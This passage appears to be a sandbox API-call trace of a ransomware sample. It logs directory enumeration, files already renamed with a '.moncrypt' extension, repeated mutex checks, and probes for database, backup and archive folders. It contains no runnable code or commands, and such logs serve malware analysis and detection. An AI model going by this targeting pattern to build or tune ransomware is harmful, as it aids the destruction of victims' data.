ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.200] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.200] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.200] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.200] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.200] GlobalUnlock (hMem=0x44000c) returned 0 [0051.200] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.200] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.200] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.200] GlobalUnlock (hMem=0x44000c) returned 0 [0051.200] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.200] GlobalUnlock (hMem=0x440004) returned 0 [0051.200] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.200] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5124, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0051.200] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.200] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.200] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.200] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.200] GlobalUnlock (hMem=0x440004) returned 0 [0051.201] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.201] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.201] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.201] GlobalUnlock (hMem=0x440004) returned 0 [0051.201] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.201] GlobalUnlock (hMem=0x44000c) returned 0 [0051.201] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.201] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5124, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0051.201] GetLastError () returned 0x12 [0051.201] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.201] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0051.201] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0051.201] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0051.201] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.202] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.202] GlobalUnlock (hMem=0x44000c) returned 0 [0051.202] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.202] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.202] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.202] GlobalUnlock (hMem=0x44000c) returned 0 [0051.202] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.202] GlobalUnlock (hMem=0x440004) returned 0 [0051.202] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.202] GlobalLock (hMem=0x440004) returned 0x550170 [0051.202] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.202] GlobalUnlock (hMem=0x440004) returned 0 [0051.202] GlobalLock (hMem=0x440004) returned 0x550170 [0051.202] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.202] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.202] GlobalUnlock (hMem=0x440004) returned 0 [0051.202] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.202] GlobalUnlock (hMem=0x44000c) returned 0 [0051.202] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.202] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE") returned 1 [0051.202] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.202] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.202] GlobalUnlock (hMem=0x44000c) returned 0 [0051.202] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.202] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.203] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.203] GlobalUnlock (hMem=0x44000c) returned 0 [0051.203] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.203] GlobalUnlock (hMem=0x440004) returned 0 [0051.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夒U壦U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0051.203] GetLastError () returned 0x3 [0051.203] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0051.203] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0051.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0051.204] GetLastError () returned 0x2 [0051.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0051.204] GetLastError () returned 0x2 [0051.204] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0051.205] GetLastError () returned 0x2 [0051.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18뻜R\x18j")) returned 0xffffffff [0051.205] GetLastError () returned 0x2 [0051.205] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0051.206] GetLastError () returned 0x2 [0051.206] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0051.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0051.206] GetLastError () returned 0x2 [0051.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0051.207] GetLastError () returned 0x2 [0051.207] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0051.208] GetLastError () returned 0x2 [0051.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.208] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.208] GetLastError () returned 0x2 [0051.208] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a0a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0051.209] GetLastError () returned 0x2 [0051.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.209] GlobalLock (hMem=0x440004) returned 0x550170 [0051.209] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.209] GlobalUnlock (hMem=0x440004) returned 0 [0051.209] GlobalLock (hMem=0x440004) returned 0x550170 [0051.209] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.209] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.209] GlobalUnlock (hMem=0x440004) returned 0 [0051.209] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.209] GlobalUnlock (hMem=0x44000c) returned 0 [0051.209] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.209] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.210] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.210] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.210] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.210] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.210] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a0c8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.210] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.210] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.210] GlobalUnlock (hMem=0x44000c) returned 0 [0051.210] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.210] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.210] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.210] GlobalUnlock (hMem=0x44000c) returned 0 [0051.210] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.210] GlobalUnlock (hMem=0x440004) returned 0 [0051.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.211] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\") returned 0x41 [0051.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e88, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact 